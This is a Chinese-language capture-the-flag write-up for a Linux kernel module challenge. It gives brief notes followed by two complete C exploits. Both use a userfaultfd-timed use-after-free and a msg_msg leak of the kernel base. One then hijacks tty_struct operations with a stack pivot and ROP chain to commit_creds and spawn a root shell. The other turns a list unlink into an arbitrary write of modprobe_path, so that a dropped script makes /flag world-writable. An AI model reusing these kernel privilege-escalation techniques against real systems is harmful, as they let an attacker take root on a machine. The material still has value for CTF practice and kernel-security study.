模块逻辑非常简单,kernel版本5.4.272,smap smep开启,未开启freelist_random
一次free的机会,write功能可使用uffd阻塞导致uaf
kmalloc的大小为0x2e0,直接返回了kmalloc的地址,没有泄漏功能
0x2e0的大小很显然就是经典的ptmx
地址泄漏
使用msg_msg结构体进行泄漏,uaf修改其size,使其越界读取后方的slab泄漏kernel_base
并且由于msg_msg特性,读取后自动被释放,为下一步tty_struct腾出位置
注意读取msg_msg后自动释放时,首部的指向队列queue的双链表指针需要指向可读写区域并相等
magic_gadget
在劫持了tty_ops后,调用write时rsi的值由用户决定
因此通过push rsi ; pop rsp的gadget来劫持栈后ROP,劫持栈的地址就选择模块返回的堆地址
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/sched.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define PAGE_SIZE 0x1000
int dev_fd;
uint64_t kno_puts_reserved_struct, kno_puts_used_struct, direct_mm_base, modprobe_path, kernel_base;
uint64_t cs, ss, rflag, rsp;
struct request
{
char buf[0x20];
uint64_t check;
uint64_t *ret;
};
void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(cs),"=r"(ss),"=r"(rflag),"=r"(rsp)
:
: "memory"
);
}
void register_userfault(void *fault_page, void *user_stuck_handler, int filedes_out, void *func, void *func_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC|O_NONBLOCK);
struct arg *handler_arg = malloc(sizeof(struct arg));
handler_arg->uffd = uffd;
handler_arg->filedes_out = filedes_out;
handler_arg->func = func;
handler_arg->func_arg = func_arg;
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
perror("[X] ioctl-UFFDIO_API Error");
ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur)==-1)
perror("[X] ioctl-UFFDIO_REGISTER Error");
int s = pthread_create(&thr, NULL, user_stuck_handler, (void *)handler_arg);
if (s)
perror("[X] Pthread Create Error");
}
void *user_stuck_handler(void *handler_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
struct uffd_msg msg;
unsigned long uffd = ((struct arg *)handler_arg)->uffd;
puts("[+] Leak_handler Created");
int filedes_out = ((struct arg *)handler_arg)->filedes_out;
read(filedes_out, &filedes_out, 0x1);
puts("[+] Restore Stuck Begin");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1)
perror("[X] Wrong Pool Return Value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
perror("[X] Msg Error!!");
char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
perror("[X] Mmap Page Error!!");
struct uffdio_copy uc;
memset(page, 0, sizeof(page));
void (*func)(void *, void *) = ((struct arg *)handler_arg)->func;
void *func_arg = ((struct arg *)handler_arg)->func_arg;
if (func) func(page, func_arg);
free(handler_arg);
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address &~ (PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[-] User Stuck Handler Done!!");
}
int make_queue(key_t key, int msgflg)
{
int result;
if ((result = msgget(key, msgflg)) == -1)
perror("[X] Msgget Failure");
return result;
}
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
{
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
perror("[X] Msgsend Failure");
return;
}
uint64_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
uint64_t result;
if (result = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0)
perror("[X] Msgrcv Failure");
return result;
}
int get_tty_struct()
{
int ptmx_fd = open("/dev/ptmx", O_RDWR);
if (ptmx_fd <= 0)
perror("[X] Ptmx open failed");
return ptmx_fd;
}
int spray_kmsg()
{
char buf[0x400];
memset(buf, 0x61, 0x400);
struct msg *message = (struct msg *)buf;
int qid;
qid = make_queue(IPC_PRIVATE, 0666|IPC_CREAT);
send_msg(qid, message, 0x400 - 0x30, 0);
return qid;
}
uint64_t get_kmsg(int qid)
{
uint64_t buf[0x100];
memset(buf, 0, 0x800);
int size = 0x7b0;
get_msg(qid, (char *)buf, size, 0, IPC_NOWAIT|MSG_NOERROR);
return buf[0x7E] - 0x1073e00;
}
uint64_t kno_new()
{
struct request request_t;
uint64_t ret;
request_t.check = 1;
request_t.ret = &ret;
ioctl(dev_fd, 0xFFF0, &request_t);
return ret;
}
void kno_free()
{
struct request request_t;
request_t.check = 1;
request_t.ret = 0ull;
ioctl(dev_fd, 0xFFF1, &request_t);
}
void *blocked_kmsg_write(void *arg)
{
void blocked_kmsg_write_callback(void *page)
{
memcpy(page, &direct_mm_base, 0x8);
memcpy(page + 0x8, &direct_mm_base, 0x8);
memcpy(page + 0x10, "aaaaaaaa", 0x8);
memcpy(page + 0x18, "\xd0\x07", 0x2);
}
char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int pipe_fd = *(int *)arg;
register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_kmsg_write_callback, NULL);
write(dev_fd, blocked_page, 0x20);
}
void *blocked_tty_write(void *arg)
{
void blocked_tty_write_callback(void *page)
{
memcpy(page, "\x01\x54\x00\x00\x01\x00\x00\x00", 0x8);
memcpy(page + 0x18, &kno_puts_used_struct, 0x8);
}
char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int pipe_fd = *(int *)arg;
register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_tty_write_callback, NULL);
write(dev_fd, blocked_page, 0x20);
}
void getshell()
{
system("/bin/sh");
}
int main()
{
save_state();
dev_fd = open("/dev/ksctf",O_RDWR);
if (dev_fd < 0)
perror("[X] Error Open");
kno_puts_reserved_struct = kno_new();
get_tty_struct();
direct_mm_base = kno_puts_reserved_struct & 0xfffffffff0000000;
printf("[+] kno_puts_reserved_struct: 0x%lx\n", kno_puts_reserved_struct);
printf("[+] direct_mm_base: 0x%lx\n", direct_mm_base);
int blocked_kmsg_write_pipe[2], blocked_tty_write_pipe[2];
pipe(blocked_kmsg_write_pipe);
pipe(blocked_tty_write_pipe);
pthread_t blocked_kmsg_write_thread_t, blocked_tty_write_thread_t;
pthread_create(&blocked_kmsg_write_thread_t, NULL, blocked_kmsg_write, &blocked_kmsg_write_pipe[0]);
pthread_create(&blocked_tty_write_thread_t, NULL, blocked_tty_write, &blocked_tty_write_pipe[0]);
sleep(1);
kno_free();
int qid = spray_kmsg();
write(blocked_kmsg_write_pipe[1], "\x00", 0x1);
sleep(1);
kernel_base = get_kmsg(qid);
uint64_t prepare_kernel_cred = kernel_base + 0x98140;
uint64_t commit_creds = kernel_base + 0x97d00;
printf("[+] kernel_base: 0x%lx\n", kernel_base);
int ptmx_fd = get_tty_struct();
kno_puts_used_struct = kno_new();
write(blocked_tty_write_pipe[1], "\x00", 0x1);
sleep(1);
uint64_t fake_struct[0x10];
memset(fake_struct, 0, sizeof(fake_struct));
fake_struct[0x7] = kernel_base + 0x599a34;
fake_struct[0xA] = kernel_base;
write(dev_fd, fake_struct, sizeof(fake_struct));
uint64_t ROP[0x20];
memset(ROP, 0, sizeof(ROP));
ROP[0x0] = kernel_base + 0x3e98;
ROP[0x1] = 0;
ROP[0x2] = prepare_kernel_cred;
ROP[0x3] = commit_creds;
ROP[0x4] = kernel_base + 0xc00aa5;
ROP[0x5] = 0;
ROP[0x6] = 0;
ROP[0x7] = (uint64_t)getshell;
ROP[0x8] = cs;
ROP[0x9] = rflag;
ROP[0xa] = rsp;
ROP[0xb] = ss;
write(ptmx_fd, ROP, sizeof(ROP));
}
modprobe_path
特别注意到,linux内核中的list_head双链表解链时的地址检查并不严格
并且当next指向不可写区域时不会导致panic,而是killed
但是此时next已经被写到prev + 0x8的位置了,这就造成了一个无条件的任意地址写
而在释放msg_msg这一步刚好存在一个对于首部queue的解链操作
因此直接写modprobe_path即可
#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/sched.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define PAGE_SIZE 0x1000
int dev_fd;
uint64_t kno_puts_reserved_struct, direct_mm_base, modprobe_path, kernel_base;
struct request
{
char buf[0x20];
uint64_t check;
uint64_t *ret;
};
void register_userfault(void *fault_page, void *user_stuck_handler, int filedes_out, void *func, void *func_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC|O_NONBLOCK);
struct arg *handler_arg = malloc(sizeof(struct arg));
handler_arg->uffd = uffd;
handler_arg->filedes_out = filedes_out;
handler_arg->func = func;
handler_arg->func_arg = func_arg;
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
perror("[X] ioctl-UFFDIO_API Error");
ur.range.start = (unsigned long)fault_page;
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur)==-1)
perror("[X] ioctl-UFFDIO_REGISTER Error");
int s = pthread_create(&thr, NULL, user_stuck_handler, (void *)handler_arg);
if (s)
perror("[X] Pthread Create Error");
}
void *user_stuck_handler(void *handler_arg)
{
struct arg
{
uint64_t uffd;
int filedes_out;
void (*func)(void *,void *);
void *func_arg;
};
struct uffd_msg msg;
unsigned long uffd = ((struct arg *)handler_arg)->uffd;
puts("[+] Leak_handler Created");
int filedes_out = ((struct arg *)handler_arg)->filedes_out;
read(filedes_out, &filedes_out, 0x1);
puts("[+] Restore Stuck Begin");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1)
perror("[X] Wrong Pool Return Value");
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
perror("[X] Msg Error!!");
char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
perror("[X] Mmap Page Error!!");
struct uffdio_copy uc;
memset(page, 0, sizeof(page));
void (*func)(void *, void *) = ((struct arg *)handler_arg)->func;
void *func_arg = ((struct arg *)handler_arg)->func_arg;
if (func) func(page, func_arg);
free(handler_arg);
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address &~ (PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[-] User Stuck Handler Done!!");
}
int make_queue(key_t key, int msgflg)
{
int result;
if ((result = msgget(key, msgflg)) == -1)
perror("[X] Msgget Failure");
return result;
}
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
{
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
perror("[X] Msgsend Failure");
return;
}
uint64_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
uint64_t result;
if (result = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0)
perror("[X] Msgrcv Failure");
return result;
}
int get_tty_struct()
{
int ptmx_fd = open("/dev/ptmx", O_RDWR);
if (ptmx_fd <= 0)
perror("[X] Ptmx open failed");
return ptmx_fd;
}
int spray_kmsg()
{
char buf[0x400];
memset(buf, 0x61, 0x400);
struct msg *message = (struct msg *)buf;
int qid;
qid = make_queue(IPC_PRIVATE, 0666|IPC_CREAT);
send_msg(qid, message, 0x400 - 0x30, 0);
return qid;
}
uint64_t get_kmsg(int qid)
{
uint64_t buf[0x100];
memset(buf, 0, 0x800);
int size = 0x7b0;
get_msg(qid, (char *)buf, size, 0, IPC_NOWAIT|MSG_NOERROR);
return buf[0x7E] - 0x1073e00;
}
uint64_t kno_new()
{
struct request request_t;
uint64_t ret;
request_t.check = 1;
request_t.ret = &ret;
ioctl(dev_fd, 0xFFF0, &request_t);
return ret;
}
void kno_free()
{
struct request request_t;
request_t.check = 1;
request_t.ret = 0ull;
ioctl(dev_fd, 0xFFF1, &request_t);
}
void *blocked_kmsg_write(void *arg)
{
void blocked_kmsg_write_callback(void *page)
{
memcpy(page, &direct_mm_base, 0x8);
memcpy(page + 0x8, &direct_mm_base, 0x8);
memcpy(page + 0x10, "aaaaaaaa", 0x8);
memcpy(page + 0x18, "\xd0\x07", 0x2);
}
char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int pipe_fd = *(int *)arg;
register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_kmsg_write_callback, NULL);
write(dev_fd, blocked_page, 0x20);
}
void *blocked_modprobe_write(void *arg)
{
void blocked_modprobe_write_callback(void *page)
{
memcpy(page, &modprobe_path, 0x8);
memcpy(page + 0x8, "/tmp/aa\x00", 0x8);
}
char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int pipe_fd = *(int *)arg;
register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_modprobe_write_callback, NULL);
write(dev_fd, blocked_page, 0x10);
}
void getshell()
{
system("/bin/sh");
}
int main()
{
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/aa");
system("chmod +x /tmp/aa");
system("chmod +x /tmp/dummy");
dev_fd = open("/dev/ksctf",O_RDWR);
if (dev_fd < 0)
perror("[X] Error Open");
kno_puts_reserved_struct = kno_new();
get_tty_struct();
direct_mm_base = kno_puts_reserved_struct & 0xfffffffff0000000;
printf("[+] kno_puts_reserved_struct: 0x%lx\n", kno_puts_reserved_struct);
printf("[+] direct_mm_base: 0x%lx\n", direct_mm_base);
int blocked_kmsg_write_pipe[2], blocked_modprobe_write_pipe[2];
pipe(blocked_kmsg_write_pipe);
pipe(blocked_modprobe_write_pipe);
pthread_t blocked_kmsg_write_thread_t, blocked_modprobe_write_thread_t;
pthread_create(&blocked_kmsg_write_thread_t, NULL, blocked_kmsg_write, &blocked_kmsg_write_pipe[0]);
pthread_create(&blocked_modprobe_write_thread_t, NULL, blocked_modprobe_write, &blocked_modprobe_write_pipe[0]);
sleep(1);
kno_free();
int qid1 = spray_kmsg();
write(blocked_kmsg_write_pipe[1], "\x00", 0x1);
sleep(1);
kernel_base = get_kmsg(qid1);
modprobe_path = kernel_base + 0x14493c0 - 0x8;
printf("[+] kernel_base: 0x%lx\n", kernel_base);
printf("[+] modprobe_path: 0x%lx\n", modprobe_path);
printf("[+] modprobe_path: 0x%lx\n", direct_mm_base + 0x14493c0);
int qid2 = spray_kmsg();
write(blocked_modprobe_write_pipe[1], "\x00", 0x1);
sleep(1);
get_kmsg(qid2);
}